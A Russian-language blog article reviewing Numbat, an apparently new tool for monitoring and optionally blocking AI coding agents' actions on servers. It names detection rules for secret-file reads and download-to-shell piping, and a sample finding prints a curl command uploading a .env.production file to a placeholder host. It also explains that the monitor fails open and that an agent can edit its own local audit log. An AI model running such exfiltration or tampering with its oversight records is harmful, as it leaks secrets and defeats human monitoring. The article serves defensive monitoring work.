Как отследить действия AI-агента на сервере через Numbat
Инструмент Numbat от Perplexity позволяет мониторить активность AI-агентов на сервере. Узнайте, как отслеживать подозрительные вызовы SSH и shell, чтобы избежать утечек данных.
Что такое Numbat
Numbat обеспечивает прозрачность действий AI-агента на вашем сервере. Инструмент считывает хуки обратных вызовов и файлы сессий, которые уже создаются агентами для написания кода, нормализует их в единый формат событий и сопоставляет с правилами. Правила срабатывают при подозрительном поведении, например, при чтении закрытого ключа SSH или передаче загружаемых данных напрямую в оболочку (shell). Компания Perplexity выпустила проект с открытым исходным кодом под лицензией Apache 2.0; первый релиз с тегом вышел 29 июля 2026 года.
Вся информация ниже взята из репозитория проекта и его документации по состоянию на 2 августа 2026 года. Там, где Perplexity делает утверждения, в тексте указано авторство. Это не руководство по установке, так как репозиторию всего несколько дней, и его команды будут меняться.
Проблема: никто не фиксирует действия агента
Кодинг-агент на вашем VPS выполняет shell-команды, читает и записывает файлы, а также открывает сетевые соединения от имени пользователя, под которым он запущен. Ваша история shell не записывает эти действия, так как агент не вводит команды в ваш терминал. sshd регистрирует только ваш вход в систему, но не то, что модель решила делать после этого. /var/log/auth.log хранит молчание, если только что-то не обратилось к sudo. Агент ведет собственный протокол, но этот файл находится в директории сессии агента, его формат меняется между релизами, и сам процесс агента может в него записывать.
Поэтому, когда кто-то спрашивает, читал ли агент .env.production в прошлый вторник, честный ответ на большинстве серверов звучит так: вы не можете этого знать. Этот пробел — причина существования данного проекта.
Что Perplexity заявляет о возможностях Numbat
В файле README инструмент описывается как средство «обеспечения видимости конечных точек для активности AI-агентов с локальным обнаружением, опциональной блокировкой действий и форензик-реконструкцией». Под конечной точкой здесь понимается машина, на которой запущен агент, а не сетевое устройство, работающее извне. Это разные функциональные возможности, и они имеют разный вес.
Обнаружение выполняется на самом устройстве. Правила пишутся на CEL (common expression language) и вычисляются локально; поддерживаются многошаговые последовательности правил и собственные правила в формате YAML. Для срабатывания правила данные не должны покидать машину.
Блокировка является опциональной и узкоспециализированной. Она работает только через синхронные хуки перед выполнением действия на тех агентах, которые их предоставляют, и по умолчанию отключена.
Реконструкция происходит постфактум. numbat scan анализирует артефакты сессии, которые агент уже записал на диск, поэтому вы можете просмотреть активность, имевшую место до установки инструмента. Проект четко ограничивает это заявление: «Реконструкция данных в состоянии покоя не является снятием образа диска или оперативной памяти и не может восстановить активность, которую агент не сохранил».
Вывод данных осуществляется в версионированном формате NDJSON (newline delimited JSON), охватывающем события, результаты анализа, решения о принудительном применении правил, индикаторы и сводки сканирования; по состоянию на версию v0.1.2 используется схема версии 0.2.0. Записи направляются в stdout или локальный файл, а также опционально по HTTP на ваш собственный коллектор. Инструмент поставляется в виде одного статического бинарного файла Go, собранного без cgo для macOS, Linux и Windows на архитектурах amd64 и arm64. Таким образом, на Linux VPS это будет единственный файл, не требующий предварительной установки среды выполнения.
Какие агенты фактически видит Numbat?
Матрица покрытия в docs/agent-coverage.md является авторитетным списком, и она неоднородна. Проект заявляет об этом прямо, не пытаясь скрыть факты. Claude Code, Codex, Gemini CLI, Cursor и GitHub Copilot CLI поддерживают как сканирование артефактов, так и захват в реальном времени с использованием pre-action hook. OpenClaw получает нативный плагин начиная с версии 2026.7.1. Длинный список записей помечен как отложенный, что означает наличие пути для live hook, но отсутствие парсера артефактов. Часто это связано с тем, что агент хранит историю в SQLite с использованием write-ahead log, который небезопасно читать во время работы агента. OpenCode и Cline находились в этой группе на момент чтения матрицы 2 августа 2026 года.
Проверьте строку для вашего агента, прежде чем планировать работу с этим инструментом, так как значение слова «поддерживается» почти в каждой строке различается.
Как выглядит обнаружение
Правила имеют идентификаторы, которые указывают на их назначение. secrets.read_private_key охватывает SSH-ключ, учетные данные AWS, конфигурацию kube или логин в реестре пакетов. exec.download_pipe_shell срабатывает, когда вывод curl или wget передается в интерпретатор через конвейер. privilege.elevated_shell фиксирует запрос на интерактивную root-оболочку через sudo, doas, su или pkexec. impact.cryptomining_launch соответствует известным бинарным файлам майнеров и именам образов.
Последовательные правила объединяют события в рамках одной сессии. chain.secret_read_then_egress требует чтения секретного файла с последующим выполнением команды, которая передает данные наружу. В файле README ниже приведен результат, полученный из контролируемого воспроизведения двух обратных вызовов pre-action в Claude Code, а не из реального инцидента. Здесь он сокращен до значимых полей:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Обратите внимание на "confidence": "medium" внутри записи и на то, что проект говорит о данном классе вывода: «Результаты — это совпадения с правилами, а не доказательство взлома». Скрипт развертывания, который считывает ключ, а затем загружает артефакт сборки, совпадет с тем же последовательным правилом. Совпадение верно, а тревога ложная — это нормальное состояние любого инструмента обнаружения, который вы когда-либо запускали.
Блокировка по умолчанию отключена, и система работает по принципу fail-open
Все правила, которые поставляет Numbat, работают только в режиме мониторинга. Превращение правила в блокирующее требует осознанных действий: скопируйте полный YAML-код правила в свой каталог, сохраните тот же id, добавьте enforce: true, увеличьте версию, а затем выполните проверку и установку этой политики.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceТеперь о том, насколько можно доверять этой системе. Ответ deny от Numbat передаётся агенту, и именно агент фактически отклоняет вызов инструмента. Руководство по принудительному применению политик прямо указывает, что происходит при возникновении проблем в самом Numbat: «Некорректные полезные нагрузки, ошибки оценки, критические сбои и ошибки вывода подавляют ответ deny от Numbat». Входные данные перехватчика ограничены 4 MiB, и данные, превышающие этот размер, обрабатываются аналогичным образом.
Руководство столь же прямолинейно в отношении ограничений ответа deny, если он всё же был доставлен: «Принцип fail-open означает, что Numbat воздерживается от отправки ответа deny. Это не гарантирует выполнение инструмента: хост всё ещё может запросить подтверждение, отклонить вызов, прервать его по таймауту или применить другой перехватчик или политику».
Таким образом, принудительное применение здесь — это ограничитель, а не граница безопасности. Если процесс аварийно завершается, действие не блокируется системой Numbat, поскольку монитор, который «замораживает» ваш агент при каждой ошибке, будет удалён в течение недели. Это разумный компромисс. Просто не стройте модель безопасности, которая предполагает, что ответ deny поступит в любом случае.
Место Numbat в вашей текущей инфраструктуре
Numbat работает на конечной точке внутри дерева процессов агента и по умолчанию записывает данные в ~/.numbat/records.ndjson. Агент, запущенный от имени вашего пользователя, может читать этот файл. Он также может его редактировать. Ценность аудиторского следа в точности равна уровню изоляции вокруг него, поэтому все уже имеющиеся у вас средства контроля должны стоять перед этим инструментом, а не после него.
Предоставление агенту для написания кода одноразовой VM ограничивает область доступа при некорректном выполнении. Использование пользователя с минимальными привилегиями на VPS не позволяет агенту открывать файлы, к которым у него нет доступа. Исключение учетных данных из контекста агента делает совпадения по secrets.read_private_key достаточно редкими, чтобы их стоило изучать при срабатывании. А песочница, настроенная для Claude Code на VPS, по-прежнему остается основным средством изоляции. Изоляция ограничивает область воздействия при сбоях, в то время как документирование причин выбора архитектуры кода снижает вероятность того, что агент совершит действие, требующее проверки логов.
Numbat добавляет возможность ведения записи, поэтому отправляйте её туда, куда агент не имеет доступа. Для этого существуют numbat ship и HTTP-приемник. Копия потока на другой машине — это разница между обычным лог-файлом и доказательной базой. Модель событий также поддерживает поля MCP (model context protocol), поэтому вызовы инструментов, проходящие через хостируемый вами на VPS MCP-сервер, попадают в тот же поток, что и локальные команды оболочки. Это важно, так как данный путь невидим для инструментов, отслеживающих только bash. Та же «слепая зона» касается экземпляра SearXNG, подключенного в качестве поискового бэкенда агента, где риск заключается в попадании недоверенного текста страниц в контекст модели, а не в выполнении команд, которые можно отследить по правилам.
Сначала попробуйте режим только для чтения
Установите зафиксированную версию. Для go install требуется Go 1.26.5 или новее. На странице релизов доступны готовые бинарные файлы с контрольными суммами SHA-256, если вы не хотите выполнять сборку из исходного кода.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents обнаруживает агенты, установленные на сервере. numbat scan анализирует артефакты сессий, уже находящиеся на диске, и выводит записи. В файле README указано, что эти команды «не устанавливают хуки и не изменяют конфигурацию агента», а numbat «никогда не запускает агенты или команды, найденные в артефактах, и выполняет исходящие запросы только к настроенным HTTP-приемникам». Сканирование выполняется в режиме только для чтения с маскированием секретов, а стандартный вывод записей никогда не включает полные необработанные транскрипты.
Следующий этап — захват в реальном времени, и он изменяет конфигурацию агента:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all записывает события, результаты анализа, индикаторы и применимые решения по обеспечению соблюдения политик в ~/.numbat/records.ndjson. Проект содержит два важных предостережения. Хуки могут потребовать подтверждения доверия внутри агента перед запуском, и это доверие необходимо перепроверять после изменения таких флагов, как --enforce. Кроме того, hook status «проверяет конфигурацию, а не выполнение или доставку», поэтому статус «здоров» (healthy) не является гарантией того, что записи куда-либо поступают.
Почему такой новый репозиторий не является зависимостью
Публичные релизы v0.1.1 от 29 июля 2026 года и v0.1.2 от 1 августа 2026 года. На момент написания этого поста 2 августа 2026 года у репозитория было 597 звезд. Такие быстрые темпы роста отражают аудиторию Perplexity, а не качество кода. Звезда означает лишь то, что кто-то сохранил страницу, чтобы изучить её позже.
Номер версии честно указывает на текущее состояние проекта. Заметки к v0.1.2 в основном касаются исправлений в механизме скрытия учетных данных, а также работы с пакетами кейсов и нормализацией телеметрии. Ошибки при скрытии данных — это ожидаемый тип дефектов для ранней стадии инструмента, задача которого заключается в безопасном чтении транскриптов других программ. Их будет больше, так как входные данные поступают от десятка агентов, каждый из которых меняет свой формат по собственному графику.
Из этого следуют два практических правила. Фиксируйте тег, никогда не используйте @latest в проектах, которые вы поддерживаете. И относитесь к этому инструменту как к объекту для оценки, а не как к компоненту, от которого вы зависите, по крайней мере до тех пор, пока схема записей не стабилизируется.
FAQ
Блокирует ли Numbat опасные команды AI-агентов?
Только если вы активируете эту функцию, и только на основе принципа «максимальных усилий». Все правила, которые поставляет Numbat, работают только в режиме мониторинга. Чтобы включить блокировку, скопируйте YAML-файл правила в свой каталог, сохраните его id, добавьте enforce: true, увеличьте версию и установите хук с помощью --enforce. Даже в этом случае отказ (deny) — это лишь ответ, передаваемый агенту, и именно агент решает, отклонить ли вызов. Проект документирует поведение «fail-open»: некорректные полезные нагрузки, ошибки вычисления, паники и сбои вывода подавляют блокировку. Используйте это как вспомогательный механизм защиты, а не как единственный рубеж безопасности.
Какие AI-агенты поддерживает Numbat?
Уровень поддержки различается для каждого агента и указан в docs/agent-coverage.md в репозитории. На момент чтения этой страницы 2 августа 2026 года Claude Code, Codex, Gemini CLI, Cursor и GitHub Copilot CLI имели как сканирование артефактов, так и захват в реальном времени, а OpenClaw имеет нативный плагин начиная с версии 2026.7.1. Многие другие агенты указаны с путем к хуку, но без парсера артефактов; обычно это связано с тем, что история их сессий хранится в базе данных SQLite, чтение которой небезопасно во время работы агента. Изучите строку для вашего агента, так как слово «поддерживается» подразумевает несколько разных уровней интеграции.
Может ли агент изменить записи Numbat?
Да, если он запущен от имени того же пользователя. По умолчанию записи сохраняются в ~/.numbat/records.ndjson на той же машине, где работает агент, поэтому любой процесс с правами на запись по этому пути может изменить или удалить их. Передавайте поток данных в коллектор, недоступный для агента, используя numbat ship или HTTP-приемник, а локальный файл храните только для удобства. Именно поэтому данный инструмент дополняет изоляцию, а не заменяет её. Агент, ограниченный изолированной виртуальной машиной с правами минимально необходимого пользователя, имеет гораздо меньше возможностей воздействовать на собственный аудиторский след.
Готов ли Numbat для использования на production-сервере?
Не как средство контроля, от которого вы зависите. Первый публичный релиз v0.1.1 состоялся 29 июля 2026 года, а v0.1.2 последовал 1 августа 2026 года, поэтому флаги и схема записей всё ещё находятся в процессе изменений. Запуск numbat agents и numbat scan на сервере работает в режиме «только чтение» и несет низкие риски; это позволит вам увидеть, что агенты оставляли на диске. Установка хуков принудительного контроля на критически важном сервере — это другое решение, требующее фиксации версии (pinned tag) и плана действий на случай некорректной работы хука.